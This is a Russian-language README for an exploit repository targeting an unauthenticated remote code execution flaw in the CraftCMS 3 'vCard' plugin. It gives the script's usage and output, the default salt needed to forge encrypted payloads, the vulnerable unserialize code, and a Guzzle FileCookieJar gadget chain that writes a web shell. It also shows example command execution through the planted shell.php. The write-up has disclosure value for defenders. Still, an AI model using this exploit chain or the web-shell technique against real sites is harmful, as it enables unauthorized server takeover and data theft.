
Этот репозиторий содержит сведения об уязвимости, обнаруженной в плагине «vCard» для CraftCMS 3.
В Craft CMS есть плагин для скачивания контактов в формате *.vcf под названием "vCard". Плагин можно посмотреть в репозитории Craft и на Github: Craft Plugin Store Github
Этот плагин принимает параметр, отправленный клиентом, расшифровывает значение с помощью openssl_decrypt, а затем передаёт полученную строку в PHP-функцию unserialize. Поскольку соль по умолчанию для шифрования доступна в репозитории, атакующий может использовать ту же логику для шифрования вредоносной сериализованной нагрузки.
Если у пользователя в настройках плагина задано изменённое значение "salt", то его необходимо будет передать как параметр Python-скрипту. Однако это значение останется неизменным, если плагин скачан из магазина плагинов или просто склонирован из репозитория. В веб-интерфейсе Craft нет возможности его изменить.
Запустите скрипт, указав ссылку vCard, которая запускает скачивание контактов. Удалите значение параметра vcard.
Тогда параметр для скрипта будет таким: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
Существует необязательное значение соли, которое можно указать. Все параметры показаны здесь:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
Скрипт был протестирован на Python 3.6
Скрипт выполняет PHP-команду на хосте атакующего для шифрования полезной нагрузки. Поэтому необходимо установить php-cli. Эта атака была протестирована с PHP 7.2-cli и PHP 7.3-cli
Вот фрагмент кода, где происходит небезопасная десериализация (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
Параметр $optionsString — это значение URL-параметра "vcard", переданного клиентом. Оно проходит через функцию decrypt и затем десериализуется. Если клиент может воспроизвести шифрование, этот код становится уязвимым, так как напрямую десериализует данные, предоставленные пользователем.
Вот соответствующая функция шифрования (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
Единственное значение, которое необходимо знать атакующему, — это переменная $key, устанавливаемая выражением "VCard::$plugin->getSettings()->salt". Значение по умолчанию можно увидеть в репозитории: "s34s4L7" (config.php:26) Github
Если используется соль по умолчанию, атакующий может вызвать десериализацию любого класса в установке Craft.
Нам нужно найти класс-«гаджет» в стандартной установке Craft, который можно использовать в злонамеренных целях. Просмотр классов, имеющих магические функции __destruct или __wakeup, даёт достаточно небольшой список для анализа. Это можно сделать с помощью "grep -rni < path to web root > -e '__destruct'"
guzzlehttp имеет класс под названием "FileCookieJar", который, судя по всему, сохраняет файл, используя атрибут класса в качестве имени файла:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
Изучение функции save показывает, что она записывает данные в путь к файлу в системе; и путь, и данные являются атрибутами класса и находятся под контролем атакующего. Логично, что при уничтожении этого объекта класса он записывает все свои cookie-файлы в атрибут имени файла для последующего восстановления или использования. Вот содержимое функции save, где file_put_contents является нашей целью (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
К счастью, нам не нужно вручную конструировать вредоносную нагрузку. Замечательный инструмент PHPGGC автоматизирует сериализацию класса Guzzle с полезной нагрузкой для использования в этой атаке.
Я использовал этот инструмент для создания базовой полезной нагрузки для эксплойта, хотя она будет немного изменяться в зависимости от имени файла. Также важно отметить, что при генерации новой нагрузки с помощью PHPGGC параметр "-f" обязательно должен быть использован, иначе магическая функция __destruct не сработает: